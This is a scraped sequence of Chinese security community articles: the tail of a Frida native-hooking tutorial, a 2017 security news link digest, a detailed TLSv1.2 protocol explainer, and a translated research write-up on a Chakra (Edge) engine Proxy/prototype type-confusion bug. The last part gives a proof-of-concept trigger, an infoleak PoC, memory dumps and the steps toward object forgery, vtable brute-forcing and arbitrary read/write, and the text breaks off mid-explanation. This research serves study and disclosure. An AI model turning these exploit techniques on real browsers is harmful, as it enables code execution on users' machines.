++中的函数并且仅仅改变返回的结果不满足需求时，此方法特别有用。比如说有一个加密函数，它有一些我们想找到的特殊参数（也许是密钥）。我们按照与之前完全相同的设置，唯一的变化是javascript文件myhook.js的内容。内容将变为：
Interceptor.attach(Module.getExportByName('libnative-lib.so', 'Jniint'), {
onEnter: function(args) {
},
onLeave: function(retval) {
// simply replace the value to be returned with 0
retval.replace(0);
}
});
我们现在使用的api是[这个](https://frida.re/docs/javascript-api/#interceptor
"这个")，它会自动地在libnative-lib.so中搜索`Jniint`函数，libnative-lib.so是先前从apk中提取文件时所看到的应用程序中库的名字。`retval.replace（0）`被调用来替换返回值。
在用与以前相同的方式启动Frida时，你会发现一个error！不用担心，这是预料之内的，你可以看到我们正在尝试hook
Jniint，但是由于未按下按钮，函数还未被加载！因此frida提示找不到导出函数
'Jniint'。按一下按钮，现在Jniint已经被调用，所以应该已经导出，我们唯一要做的就是再次保存JavaScript，这样frida将会自动重新加载它，现在如果再次按下按钮，将得到以下信息：
### Conclusion
在本文中，我们详细介绍了两种hook native
方法并更改其返回值的办法。我们解释了如何搭建环境并安装所有必需的工具。如果你想在frida上投入更多时间，请确保你在[这里](https://frida.re/docs/javascript-api/
"这里")查看了API的官方页面，因为你会找到几乎所有需要的参考资料。建议你逐步进行，因为在与高级应用程序打交道时，事情可能会变得很复杂。希望您喜欢这篇文章，并从中学到了一些东西。如有任何问题或评论，请随时与我[联系](https://erev0s.com/contact/
"联系")，我将尽力回答。 | 社区文章 |
# 【知识】9月11日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 如何将Pastebin上的信息应用于安全分析和威胁情报领域、DEDECMS 会员中心代码投稿缺陷可getshell、苹果Touch
ID安全性浅谈、Windows内核漏洞利用代码开发开发简介（part2）：如何利用堆缓冲区溢出漏洞到系统shell、跟踪Android和iOS上的任意方法和函数调用、**
**Vulnhub上一个CTF练习题解（含实验环境下载）**
****资讯类：**** ** ******
************
************
[物联网安全]黑客可以远程控制注射器输液泵，致患者于危险之中
http://thehackernews.com/2017/09/hacking-infusion-pumps.html
**技术类：** ****
********
如何保护自己免受Equifax黑客攻击
<https://medium.com/new-york-state-attorney-general/how-to-protect-yourself-from-the-equifax-hack-3ba5d8c231b7>
如何将Pastebin上的信息应用于安全分析和威胁情报领域
<https://techanarchy.net/2017/09/hunting-pastebin-with-pastehunter/>
DEDECMS 会员中心代码投稿缺陷可getshell
<https://mp.weixin.qq.com/s/_t6h7PosyVGsSAChqDQRfg>
Windows内核驱动漏洞利用代码开发简介（part-1） – 环境设置
<https://glennmcgui.re/introduction-to-windows-kernel-exploitation-pt-1/>
Vulnhub上一个CTF练习题解（含实验环境下载）
<https://www.jimwilbur.com/2017/09/kioptrix-level-1-1-walkthrough-vulnhub/>
苹果Touch ID安全性浅谈
<https://medium.com/@fstiehle/demystifying-apples-touch-id-4883d5121b77>
针对“Connected Alarm Clock”的逆向工程和漏洞利用代码开发
<https://courk.fr/index.php/2017/09/10/reverse-engineering-exploitation-connected-clock/>
Xerosploit:中间人攻击，欺骗，拒绝服务攻击平台
<https://gbhackers.com/kali-linux-tutorial-xerosploit/>
Windows内核漏洞利用代码开发开发简介（part2）：如何利用堆缓冲区溢出漏洞到系统shell
<https://glennmcgui.re/introduction-to-windows-kernel-driver-exploitation-pt-2/>
针对英国税收系统的安全性分析
<https://medium.com/@Zemnmez/how-to-hack-the-uk-tax-system-i-guess-3e84b70f8b>
Vulners Python API wrapper
<https://github.com/vulnersCom/api>
跟踪Android和iOS上的任意方法和函数调用
<https://techblog.mediaservice.net/2017/09/tracing-arbitrary-methods-and-function-calls-on-android-and-ios/> | 社区文章 |
# TLSv1.2网络安全协议学习
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## TLS协议概述
TLS前身为NetScape公司设计的SSL协议，之后由IETF形成了TLS标准，现在已发展到TLSv1.3版本。
TLS工作在传输层之上，应用层之下。接收应用层报文的数据提供保密性与完整性服务。
TLSv1.2版本包含5个子协议：Handshake、ChangeCipherSpec、Alert、Application
如今，TLS协议已经得到了广泛的使用，常用的HTTPS就是基于TLS协议提供的安全性服务。
## TLS描述语言
为了无二意地表述TL协议的各个子协议，需要先引入TLS的描述语言。语法与C语言非常类似
**基本原则** ：
* 基本数据块大小为1字节（1 byte）
* 注释由 / _开始_ / 结束
* [[ ]] 表示可选的部件
* 包含无具体含义的单字节实体，类型标识为opaque
**定长向量** ：表示为 `T Vector[n]`。Vector为向量名，T为向量数据类型，n为向量的 **字节数**
**变长向量** ：表示为 `T Vector<min..max>`。Vector为向量名，T为向量数据类型，min和max分别为向量最小和最大的
**字节数**
**枚举** ：用来表示某个变量可能的取值，表示为 `enum {e1(v1),e2(v2),···,en(vn)[[n]]}name`。其中
* `name`是枚举变量的变量名
* `ei`是枚举变量`name`可能的取值
* `vi`是`ei`的具体指代数值
* `n`表示可能取值的个数
**结构** ：用来表示一个特殊的变量，这个变量由不同类型的数据组成，表示为
struct{
T1 V1;
T2 V2;
···
Tn Vn;
} [[name]]
其中
* `Ti`表示变量类型
* `Vi`表示变量名
* `name`表示结构变量变量名
**变体** ：根据实际选择不同，成员变量可选择不同数据类型，表示为
select(E){
case e1: T1;
case e2: T2;C
···
case en: Tn;
} [[fv]]
其中
* `E`是要判定的变量
* `ei`是`E`的取值
* `Ti`是对应的数据类型
* `fv`是变体变量变量名
## TLSv1.2 各个子协议
### TLS Record协议
Record协议工作在其他子协议的更下层，简单而言，Record协议接收上层协议的内容，封装后交给传输层传输。
#### Record协议的功能
* 消息传输：上层其他子协议将其数据提交给缓冲区，Record协议传输这些缓冲区中的数据。如果缓冲区超过长度限制，则需要进行分片；如果缓冲区过小，可以合并 **属于同一协议的** 小缓冲区内的内容
* 完成加密和完整性验证：按照协商好的密码学套件和安全参数进行加密和完整性验证
* 压缩： **设计上** 为了提高传输效率提供了压缩的功能。但是实践中，由于压缩功能存在安全性问题，所以一般没有实现。
#### Record协议封装过程图示
#### Record Header
Record协议包含一个5字节的首部，其中包含三个字段`ContentType`、`ProtocolVersion`和`length`
* `ContentType`表示上层子协议的类型，长为1 byte，描述如下：
enum{
change_cipher_spec(20), /*ChangeCipherSpec协议*/
alert(21),/*Alert协议*/
handshake(22),/*Handshake协议*/C
application_data(23),/*ApplicationData协议*/
(255) /*总共255个可选值*/C
}ContentType
* `ProtocolVersion`表示协议版本号，包含一个大版本一个小版本，长为2 byte，描述如下：
struct{
uint8 major;
uint8 minor;C
}ProtocolVersion
各个版本对应的取值如下：
* `length`表示数据的长度(不包括Record Header)，长为2 byte
Record协议封装后的报文分片描述如下（已加密）：
struct{
ContentType type;
ProtocolVersion Version;
uint16 length;
select (SecurityParameters.cipher_type){
case stream: GenericStreamCipher; /*流密码*/
case block: GenericBlockCipher; /*分组密码*/
case aead: GenericAEADCipher; /*AEAD模式*/
}fragment /*数据分片*/
}TLSCiphertext
### TLS Handshake协议
#### Handshake功能
Handshake协议是TLS中最复杂的一个协议，在这个协议运行之后，需要完成如下事项：
* 身份认证：确定客户端服务器的合法身份
* 密码套件协商：商定相同的密码套件，否则无法通讯
* 密钥协商：商定会话使用的密钥
#### Handshake对话过程
* 先通俗地描述一下会话过程：客户端先与服务器取得联系。客户端随机告诉服务器，我可以使用RSA/AES和DSS/AES密码套件，需要选用哪一个密码套件进行会话。服务端告诉客户端选用RSA/AES密码套件通信，并且将证书发给客户端。客户端与服务器达成一致，切换密码套件，准备通信。
* 形式化地描述：上述是一个简单的不太严谨的描述，下图是更加严谨的形式化的描述：
之后将会详细地阐释每个消息的含义
#### Handshake消息结构
用TLS描述语言描述如下
enum {
hello_request(0), client_hello(1), server_hello(2), certificate(11), server_key_exchange (12), certificate_request(13), server_hello_done(14), certificate_verify(15),
client_key_exchange(16), finished(20),
(255)
} HandshakeType; /*定义handshake消息类型*/
struct{
HandshakeType msg_type; /*Handshake消息类型*/
uint24 length; /*消息长度*/
select (HandshakeType){
case hello_request: HelloRequest;
case client_hello: ClientHello;
case server_hello: ServerHello;
case certificate: Certificate;
case server_key_exchange: ServerKeyExchange;
case certificate_request: CertificateRequest;
case server_hello_done: ServerHelloDone;
case certificate_verify: CertificateVerify;
case client_key_exchange: ClientKeyExchange;
case finished: Finished;C
} body; /*消息体*/
} Handshake;
#### Handshake：HelloRquest
**作用**
：用于和Client重新开始一次协商过程，Client应在之后发送一个ClientHello开始协商。如果此时Client正在进行一个协商，那么这条消息将被忽略。
**消息图示** ：
#### Handshake：ClientHello
ClientHello是一次握手流程中的第一条消息，随着这条消息Client发送其 **支持的功能** 和 **首选项** 给服务器。
**发送ClientHello的情况** ：
* 新建连接时
* 重新协商时
* 响应重建连接请求（HelloRequest）时
**消息图示** ：
**ClientHello消息格式** ：
使用TLS描述性语言描述如下：
struct {
uint32 gmt_unix_time;
opaque random_bytes[28];
} Random; /*Random类型包括时间和一个随机的字节数组*/
opaque SessionID<0..32>; uint8 CipherSuite[2]; /*密码学套件，两个字节的ID*/
enum {null(0), (255)} CompressionMethod; /*压缩方法，不启用*/
enum {
signature_algorithms(13), (65535)
} ExtensionType; /*定义扩展类型*/
struct {
ExtensionType extension_type;
opaque extension_data<0..2^16‐1>;
} Extension; /*扩展类型*/
struct {
ProtocolVersion client_version; /*协议版本*/
Random random; /*随机数*/
SessionID session_id; /*会话ID，方便会话重用*/
CipherSuite cipher_suites<2..2^16‐2>; /*密码套件（多个），客户端首选的密码套件放在第一位
注意：如果SessionID不为0，即要重用一个会话时，这个字段必须至少包括重用会 话使用的密码套件。*/
CompressionMethod compression_methods<1..2^8‐1>; /*压缩方法*/
select (extensions_present) { /*扩展*/
case false:
struct {};
case true:
Extension extensions<0..2^16‐1>;
};
} ClientHello;
**抓包实例** ：
推荐一个TLS协议学习网站https://tls.ulfheim.net/，不仅包含TLSv1.2，也可以学习到TLSv1.3
抓取到的ClientHello如下：
可以看到其中的各个字段值。
#### Handshake：ServerHello
当收到来自客户端的ClientHello的时候，如果在服务端能够找到对应的一套密码套件，那么服务器发送ServerHello消息响应客户端的ClientHello消息。如果不能找到匹配的算法，则返回一个警告。
**消息图示** ：
**ServerHello消息格式** ：
用TLS描述语言描述如下：
/*ServerHello与ClientHello基本一致，主要区别在于cipher_suite只包含最终确定使用的那一个*/
struct {
ProtocolVersion server_version;
Random random;
SessionID session_id;
CipherSuite cipher_suite; /*只有一个确定使用的密码套件*/
CompressionMethod compression_method;
select (extensions_present) {
case false:
struct {};
case true:
Extension extensions<0..2^16‐1>;
};
} ServerHello;
**抓包实例** ：
可以见得，这一条报文中包含了多条消息，证实了TLSv1.2会将小的消息在不影响语义的情况下合并在一起进行发送。
可以看到ServerHello的报文中的密码套件只有一个，这就是之后需要使用的密码套件
#### Handshake：Certificate
服务器向客户端发送的证书，使得客户端能够认证服务器的身份。在匿名通讯时，服务器不需要发送证书。
**消息图示** ：
**Certificate消息格式** ：
opaque ASN.1Cert<1..2^24-1>;
struct {
ASN.1Cert certificate_list<0..2^24-1>;
} Certificate;
ASN.1(抽象语法表示法1)，是支持复杂数据结构和对象的定义、传输、交换的一系列规则
**抓包实例** ：
这里的证书是一条证书链，通过一级一级的证书认证Server证书的合法性。
#### Handshake：ServerKeyExchange
服务器发送了ServerCertificate消息之后立即发送ServerKeyExchange消息。同时，仅当之前发送的消息不足以让客户端交换premaster
secret(预主密钥)的时候，才会发送ServerKeyExchange消息。例如，通过非对称加密方式加密 premaster secret
时不需要发送ServerKeyExchange消息，因为客户端已经可以利用公钥传递 premaster secret 了。
**消息图示** ：
**ServerKeyExchange消息格式** ：
struct {
uint8 Type;
uint24 Length;
obaque Parameters<0..2^24-1>;
} ServerKeyExchange
**抓包实例** ：
这是抓到的ServerKeyExchange的消息，可见是通过ECDHE模式进行密钥交换的，同时使用RSA进行了签名，这与协商的结果一致。
#### Handshake：CertificateRequest
服务器发送CertificateRequest消息，要求客户端进行身份验证。消息中包含了服务器接受的 **证书类型列表** 以及可接受的 **CA列表**
**消息图示** ：
**CertificateRequest消息格式** ：
struct {
ClientCertificateType certificate_types<1..2^8‐1>;
DistinguishedName certificate_authorities<0..2^16‐1>;
} CertificateRequest;
#### Handshake：ServerHelloDone
服务器发送ServerHelloDone来完成密钥交换，服务器发送该消息后，便等待客户端相应。
**消息图示** ：
ServerHelloDone消息将不包含任何内容，只有type和length信息
**抓包实例** ：
发送了ServerKeyExchange消息后，Server完成了自己的协商部分的工作，于是发送ServerHelloDone给客户端
#### Handshake：ClientKeyExchange
在客户端收到ServerHelloDone之后马上发送ClientKeyExchange消息，如果需要发送Certificate消息，那么ClientKeyExchange消息需紧跟Certificate消息发送。如果密码套件中选用RSA等公钥加密算法，那么ClientKeyExchange发送加密后的premaster
secret；如果密码套件中选择Diffie-Hellman进行密钥交换，那么ClientKeyExchange发送DH中的公开值。
**消息图示** ：
**ClientKeyExchange消息格式** ：
struct {
select (KeyExchangeAlgorithm) {
case rsa: /*以RSA为例的公钥加密算法*/
EncryptedPreMasterSecret;
case dhe_dss:
case dhe_rsa:
case dh_dss:
case dh_rsa:
case dh_anon:
ClientDiffieHellmanPublic;
} exchange_keys; /*区分公钥加密的密钥和利用DH交换的密钥*/
} ClientKeyExchange;
**抓包实例** ：
#### Handshake：CertificateVerify
当服务器器向客户端发送了CertificateRequest消息时，客户端才需要发送CertificateVerify消息证明自身确实持有相应的证书和私钥
**消息图示** ：
**CertificateVerify消息格式** ：
struct {
digitally‐signed struct {
opaque handshake_messages[handshake_messages_length];
/*handshake_messages指到这一步为止所有握手消息的拼接*/
/*对handshake_messages进行签名进行验证*/
}
} CertificateVerify;
#### Handshake：Finished
发送Finished消息表示握手结束，并且随消息发送一个密文，这个密文对应的明文是一个PRF（伪随机函数）的输出，该PRF的输入为master_secret（主密钥）、finished_label（分客户端和服务器）以及所有之前的握手消息组合的hash值。
**Finished消息的目的** ：
* 确认收到的Finished消息是否正确
* 确认握手协议是否正常结束
* 确认密码套件切换是否正确
**消息图示** ：
**Finished消息格式** ：
struct {
opaque verify_data[verify_data_length];
} Finished;
verify_data PRF(master_secret, finished_label, Hash(handshake_messages))[0..verify_data_length‐1];
/*finished_label分Client和Server版本*/
**抓包实例** ：
在实际的抓包中，在ChangeCipherSpec消息之后会有一个Encrypted Handshake
Message消息，这个消息就是Finished消息。
**防止降级攻击** ：
所谓降级攻击，是一个作为中间人的攻击者通过篡改ClientHello中的密码套件列表，用弱密码套件替代用户设置的密码套件，从而达到降低会话安全性的目的。通过Finished消息，客户端和服务器都验证了握手消息的hash值，如果攻击者篡改了之前的消息，那么验证就会失败，从而达到防御降级攻击的目的。
### TLS ChangeCipherSpec协议
ChangeCipherSpec协议比较简单，就是按照之前的约定切换密码套件
**消息图示** ：
**消息格式** ：
struct {
enum { change_cipher_spec(1), (255) } type;
} ChangeCipherSpec;
**抓包实例** ：
### TLS Alert协议
根据发生的不同状况，Alert协议报告异常或者直接中断连接
**消息图示** ：
**消息格式** ：
enum {
warning(1), fatal(2), (255)
} AlertLevel; /*定义告警的级别，现只有警告和致命两个级别*/
struct {
AlertLevel level;
AlertDescription description;
} Alert;
enum {
close_notify(0),
unexpected_message(10), bad_record_mac(20), decryption_failed_RESERVED(21), record_overflow(22),
decompression_failure(30), handshake_failure(40), no_certificate_RESERVED(41),bad_certificate(42),
unsupported_certificate(43), certificate_revoked(44), certificate_expired(45),
certificate_unknown(46),illegal_parameter(47), unknown_ca(48), access_denied(49),
decode_error(50), decrypt_error(51), export_restriction_RESERVED(60), protocol_version(70),
insufficient_security(71), internal_error(80), user_canceled(90), no_renegotiation(100),
unsupported_extension(110), (255)
} AlertDescription; /*各种具体告警信息的定义*/
告警信息的定义如下：
**close_notify警报** ：
如果某方决定关闭连接时，需要发送自己的close_notify警报，而不是发送FIN关闭TCP连接，原因是为了防止截断攻击。
所谓 **截断攻击** ，即是指攻击者主动发送TCP
FIN包，意图结束通信，达到DoS的效果。而如果关闭连接需要发送close_notify警报的话，那么攻击者就没有权限使服务器中断一个连接，从而达到防御的效果。
### TLS ApplicationData协议
这个协议就是承载加密后的应用层数据，并且计算一个消息认证码MAC以保证数据完整性
**消息图示** ：
## TLSv1.2 密码套件
### 属性
TLSv1.2的密码套件包含如下属性：
* 身份认证算法
* 密钥交换算法
* 加密算法（对称加密算法）
* 加密密钥长度
* 加密算法模式（可用时选填）
* MAC算法（可用时选填）
* 伪随机函数（PRF）
* 用于Finished消息中的散列函数
### 格式
TLSv1.2中的密码套件表示遵循以下格式：
TLS_[密钥交换算法]_[认证算法]_WITH_[[加密算法]_[密钥长度]_[算法模式]]_[MAC或PRF]
举个例子：
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
在这个例子中，可以从这个表示读出以下的信息
* 身份认证算法——RSA
* 密钥交换算法——ECDHE
* 加密算法——AES
* 加密密钥长度——128
* 加密算法模式——GCM
* 伪随机函数（PRF）——SHA-256
在表示时，每个密码套件都有一个对应的长为2字节的值用来标识，详情可以参见IANA的密码套件列表
### 特殊密码套件
在TLS握手的初始阶段中，需要使用到如下的空密码套件：
TLS_NULL_WITH_NULL_NULL
标识的值为{0x00, 0x00}，这个密码套件不提供任何安全保护，并且不可进行协商
## TLSv1.2 密钥导出
TLSv1.2的密钥导出流程总体如下：
下面分别阐释每个部分的细节
### 预主密钥（pre_master_secret)
在`ClientKeyExchange`消息中便包含了一个经过处理之后的 **pre_master_secret** ，用TLS描述语言可描述如下
struct{
ProtocolVersion client_version;
opaque random[46]; // 46字节的随机数
}PreMasterSecret // 总计大小为48字节
在接收到预主密钥之后，接下来按如下的方法导出一个长为48字节的主密钥（可能输出长度超过48字节，截取适合长度即可）：
master_secret = PRF(pre_master_secret, "master secret", ClientHello.random + ServerHello.random)[0..47];
* `PRF()`：伪随机函数
* `pre_master_secret`：预主密钥
* `"master secret"`：一个字符串，作为label来表示生成的是什么密钥
* `ClientHello.random和ServerHello.random`：客户端和服务器的随机数，合起来作为PRF函数的种子
其中，伪随机函数PRF的定义如下：
PRF(secret, label, seed) = P_hash(secret, label+seed);
P_hash(secret, seed) = HMAC_hash(secret, A(1) + seed) + // '+'在这里表示拼接字符串
HMAC_hash(secret, A(2) + seed) +
HMAC_hash(secret, A(3) + seed) + ···;
// A()的定义
A(0) = seed;
A(i) = HMAC_hash(secret, A(i-1));
`P_hash`是一个数据扩展函数，使用选用的hash函数、密钥以及种子，可以扩展出任意长度的输出。例如使用hash函数为SHA-256，那么如果需要用`p_SHA256`生成长为48字节的密钥，那么只需迭代2次得到一个64字节的输出，截取前48字节作为密钥即可。
### 主密钥扩展
在双方得到相同的主密钥`master_secret`的时候，接下来就需要扩展出使用的密钥了。
key_block = PRF(master_secret, "key expansion", server_random, client_random);
经过PRF函数的扩展，客户端与服务器只需要以相同的方法对这个key_block进行切割就可以得到相同的密钥
## 会话恢复
如此前提到的那样，TLSv1.2 协议可以利用SessionID恢复之前建立的会话
### 握手时的SessionID：
握手时用户和服务器发送的SessionID有两种情况：
* 情况一：客户端发送的ClientHello消息中的SessionID为空（长度为0），表示这是一个新建立的会话。服务器对这条消息可能有如下回复：
* ServerHello消息的SessionID为空，那么服务器之后没有重用该会话的打算
* ServerHello消息的SessionID为一个随机值，那么这个SessionID将标识当前的会话，客户端会保存该SessionID及相关的会话信息
* 情况二：客户端发送的ClientHello消息中的SessionID不为空，表示想要重建SessionID标识的会话，服务器对这条消息可能有如下回复：
* ServerHello消息的SessionID为空，表示服务器因为某些原因不会重建会话，之后将进行完整的握手
* ServerHello消息的SessionID与ClientHello消息的SessionID相同，那么说明服务器找到了SessionID对应的会话配置，并且将和ClientHello重建该会话
### 重建会话流程
### SessionID的安全性
#### 问题
* 如果为每个会话维护一个SessionID，那么这将消耗服务器大量的存储空间
* 对于有负载均衡的服务器集群，共享一个SessionID的缓存很困难
总而言之，SessionID重用会话的机制会给服务器带来过大的开销。
现阶段，为了解决SessionID带来的困难，通常采用的是 **Session Ticket** 机制
### Session Ticket
#### Session Ticket的格式
struct{
opaque key_name[16];
opaque iv[16];
opaque encrypted_state<0..2^16-1>;
opaque mac[32];
}ticket
* key_name：用来标识一系列用来保护ticket的密钥
* encrypted_state：加密的会话状态，加密由服务器进行，加密前的明文如下
struct{
ProtocolVersion protocol_version; // 协议版本
CipherSuite ciphe_suite; // 密码套件
CompressionMethod compression_method; // 压缩方法
opaque master_secret[48]; // 主密钥
ClientIdentity client_identity; // 客户端身份
uint32 timestamp; // 一个时间戳
}State
* mac：对该ticket的消息认证码，输入key_name、IV、encrypted_state的长度以及encrypted_state本身
#### Session Ticket的使用
* 客户端在创建会话时，在ClientHello消息中包含一个空的Session Ticket扩展，表示自己支持Session Ticket功能
* 服务器接收到ClientHello之后，也发送一个空的Session Ticket扩展给客户端，表示自己支持该功能
* 之后，服务器使用NewSessionTicket消息发送一个Session ticket给客户端
* 客户端保存Session ticket，之后要使用时发送Session ticket给服务器即可 | 社区文章 |
# 【技术分享】Three roads lead to Rome
|
##### 译文声明
本文是翻译文章，文章来源：360安全卫士技术博客
原文地址：<http://blogs.360.cn/360safe/2016/11/29/three-roads-lead-to-rome/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**前言**
在过去的两年里一直关注于浏览器方面的研究，主要以Fuzz为主，fuzzing在用户态的漏洞挖掘中，无论是漏洞质量还是CVE产出一直效果不错。直到一些大玩家的介入，以及大量的fuzzer在互联网公开，寻找bug需要更苛刻的思路。后来Edge中使用的MemGC使fuzz方式找漏洞更加困难，fuzz出仅有的几个能用的漏洞还总被其他人撞掉，因为大家的fuzzer是越长越像。于是今年上半年pwn2own之后开始更多的源码审计并有了些效果，起初认为存量足够了，但大概在7月份左右开始，手头的bug以每月2+的速度被撞掉(MS、ChakraCodeTeam、ZDI、Natalie、360…)，本文描述的bug也是其中一个。因为这个漏洞的利用方式还是比较有趣的，经历了几次改变，值得说一下。
**The Bug**
var intarr = new Array(1, 2, 3, 4, 5, 6, 7)
var arr = new Array(alert)
arr.length = 24
arr.__proto__ = new Proxy({}, {getPrototypeOf:function() {return intarr}})
arr.__proto__.reverse = Array.prototype.reverse
arr.reverse()
**Root Cause**
出问题的代码如下:
有很多地方都引用了这样的逻辑，JavascriptArray::EntryReverse只是其中的一个触发路径。开发人员默认了Array的类型，认为传入ForEachOwnMissingArrayIndexOfObject
的prototype一定是Var Array，如下图:
当然，通常一个Array赋值为proto时，会被默认转化成Var Array，例如:
var x = {}
x.__proto__ = [1,2,3]
查看x的属性:
0:009> dqs 0000022f`c251e920 l1
0000022f`c251e920 00007ffd`5b743740 chakra!Js::JavascriptArray::`vftable’
0:009> dq poi(0000022f`c251e920+28)
0000022f`c23b40a0 00000003`00000000 00000000`00000011
0000022f`c23b40b0 00000000`00000000 00010000`11111111
0000022f`c23b40c0 00010000`22222222 00010000`33333333
0000022f`c23b40d0 80000002`80000002 80000002`80000002
但ES6中Proxy的出现使代码逻辑变得更复杂，很多假设也不见得正确了，
Proxy的原型如下
它可以监控很多类型的事件，换句话说，可以打断一些操作过程，并处理我们自己的逻辑，返回我们自定义的数据。
其中有这样的一个handler:
可以在prototype = prototype->GetPrototype();进入trap流程，进入我们自定义的JavaScript user
callback中。
如果返回一个JavascriptNativeIntArray类型的Array，则会导致默认的假设不成立，从而出现各种问题。
其实不仅是JavascriptNativeIntArray类型，只要不是JavascriptArray类型的数组，
都会因为与期望不同而或多或少出现问题，比如
JavascriptNativeFloatArray
JavascriptCopyOnAccessNativeIntArray
ES5Array…
下面看看使用这种”混淆”的能力，我们能做些什么
首先重新总结下这个bug:
1.我们有两个数组，Array_A和Array_B
2.在Array_B中用Var的方式(e.GetItem())取出一个item，放入Array_A中
3.两个Array的类型可以随意指定
可以进一步转化成如下问题:
1.伪造对象:
Array_A为JavascriptArray类型
Array_B为JavascriptNativeIntArray/JavascriptNativeFloatArray等可以控制item数据
类型的数组，则
value = e.GetItem()
this->SetItem(index, value, PropertyOperation_None);
操作后，在Array_A[x]中可以伪造出指向任意地址的一个Object。
2.越界读
Array_A为JavascriptArray类型
Array_B为JavascriptNativeIntArray类型
因为JavascriptNativeIntArray中元素的大小为4字节，所以通过Var的方式读取会超过Array_B的边界
为什么不在Array_A上做文章?
因为最终的赋值操作是通过SetItem完成的，即使Array_A初始化成JavascriptNativeIntArray/JavascriptNativeFloatArray等类型，最终还是会根据item的类型转换为JavascriptArray类型。
**下面进入漏洞利用的部分，一个漏洞的三种利用**
**0x1**
最初对”越界读”这个能力没有什么进一步的利用思路，而当时手头又有很多信息泄露的漏洞，于是exploit = leak + fakeObj
下面这个infoleak可以泄露任何对象的地址，当然已经被补掉了
function test() {
var x = []
var y = {}
var leakarr = new Array(1, 2, 3)
y.__defineGetter__(“1”, function(){x[2] = leakarr; return 0xdeadbeef})
x[0] = 1.1
x[2] = 2.2
x.__proto__ = y
function leak() {
alert(arguments[2])
}
leak.apply(1, x)
}
要在一个固定地址处伪造对象，我们需要两个条件:
1.一个数据可控buffer的地址
2.虚表地址，也即chakra模块基址
对于1可以选择head和segment连在一起的Array
0000022f`c23b40a0 00007ffd`5b7433f0 0000022f`c2519c80
0000022f`c23b40b0 00000000`00000000 00000000`00000005
0000022f`c23b40c0 00000000`00000012 0000022f`c23b40e0
0000022f`c23b40d0 0000022f`c23b40e0 0000022f`c233c280
0000022f`c23b40e0 00000012`00000000 00000000`00000012
0000022f`c23b40f0 00000000`00000000 77777777`77777777
0000022f`c23b4100 77777777`77777777 77777777`77777777
0000022f`c23b4110 77777777`77777777 77777777`77777777
0000022f`c23b4120 77777777`77777777 77777777`77777777
0000022f`c23b4130 77777777`77777777 77777777`77777777
buffer地址为leak_arr_addr+0x58，但这个方案有个限制，初始元素个数不能超过SparseArraySegmentBase::HEAD_CHUNK_SIZE
相关代码如下:
className* JavascriptArray::New(uint32 length, …)
if(length > SparseArraySegmentBase::HEAD_CHUNK_SIZE)
{
return RecyclerNew(recycler, className, length, arrayType);
}
…
array = RecyclerNewPlusZ(recycler, allocationPlusSize, className, length, arrayType);
SparseArraySegment<unitType> *head =
InitArrayAndHeadSegment<className, inlineSlots>(array, 0, alignedInlineElementSlots, true);
所以在伪造对象时需要精准利用有限的空间
对于条件2，可以在1的基础上，伪造UInt64Number通过parseInt接口触发JavascriptConversion::ToString来越界读取后面的虚表，从而泄露chakra基址。
相关代码如下:
JavascriptString *JavascriptConversion::ToString(Var aValue, …)
…
case TypeIds_UInt64Number:
{
unsigned __int64 value = JavascriptUInt64Number::FromVar(aValue)->GetValue();
if (!TaggedInt::IsOverflow(value))
{
return scriptContext->GetIntegerString((uint)value);
}
else
{
return JavascriptUInt64Number::ToString(aValue, scriptContext);
}
}
经过内存布局以及伪造Uint64Number，可以泄露出某个Array的vtable，如下:
最后，通过伪造Uint32Array来实现全地址读写，需要注意的是，一个Array.Segment的可控空间有限，无法写下Uint32Array及ArrayBuffer的全部字段，但其实很多字段在AAW/AAR中不会使用，并且可以复用一些字段，实现起来没有问题。
**0x2**
十月，能够做信息泄露的最后几个bug被Natalie撞掉…
于是有了下面的方案，配合越界读的特性，只用这一个漏洞完成exploit.
JavaScript中的Array继承自DynamicObject，其中有个字段auxSlots，如下:
class DynamicObject : public RecyclableObject
private:
Var* auxSlots;
…
通常情况auxSlots为NULL，例如:
var x = [1,2,3]
对应的Array头部如下，auxSlots为0
000002e7`4c15a8b0 00007ffd`5b7433f0 000002e7`4c14b040
000002e7`4c15a8c0 00000000`00000000 00000000`00000005
000002e7`4c15a8d0 00000000`00000003 000002e7`4c15a8f0
000002e7`4c15a8e0 000002e7`4c15a8f0 000002e7`4bf6f4c0
当使用Symbol时会激活这个字段，例如:
var x = [1,2,3]
x[Symbol(‘duang’)] = 4
000002e7`4c152920 00007ffd`5b7433f0 000002e7`4c00ecc0
000002e7`4c152930 000002e7`4bfca5c0 00000000`00000005
000002e7`4c152940 00000000`00000003 000002e7`4c152960
000002e7`4c152950 000002e7`4c152960 000002e7`4bf6c0e0
auxSlots指向一个完全可控的Var数组
0:009> dq 000002e7`4bfca5c0
000002e7`4bfca5c0 00010000`00000004 00000000`00000000
000002e7`4bfca5d0 00000000`00000000 00000000`00000000
基于这个数据结构，有了如下的方案:
1.布局内存，使Array连续排列，并激活auxSlots字段
2.用越界读的特性，读出下一个Array的auxSlots并存入Array_A中
3.Array_A[x]成为伪造的对象，对象数据即为auxSlots，完全可控
在没有信息泄露的情况下，伪造一个对象需要面临的问题是”指针”，比如
– 虚表
– Type * type字段
对于虚表，可以用枚举结合特定函数的方式，”猜”出vtable的值
bool JavascriptArray::IsDirectAccessArray(Var aValue)
{
return RecyclableObject::Is(aValue) &&
(VirtualTableInfo<JavascriptArray>::HasVirtualTable(aValue) ||
VirtualTableInfo<JavascriptNativeIntArray>::HasVirtualTable(aValue) ||
VirtualTableInfo<JavascriptNativeFloatArray>::HasVirtualTable(aValue));
}
在IsDirectAccessArray中会很干净的判断aValue指向的数据是否为特定的vtable，不会操作其他字段，返回结果为TRUE或FALSE。在JavascriptArray::ConcatArgs中引用了IsDirectAccessArray这个函数，并且根据它的返回结果进入不同的处理流程，最终IsDirectAccessArray的返回值可以在js层面被间接的探知到。
伪代码:
for (addr = offset_arrVtable; addr < 0xffffffffffff; addr += 0x10000) {
auxSlots[0] = addr
if (guess()) {
chakra_base = addr – offset_arrVtable
break
}
}
下一步需要伪造Type * type这个指针字段，Type结构如下:
class Type
{
friend class DynamicObject;
friend class GlobalObject;
friend class ScriptEngineBase;
protected:
TypeId typeId;
TypeFlagMask flags;
JavascriptLibrary* javascriptLibrary;
RecyclableObject* prototype;
…
}
其中最重要的是typeId字段，它指定了Object的类型
TypeIds_Array = 28,
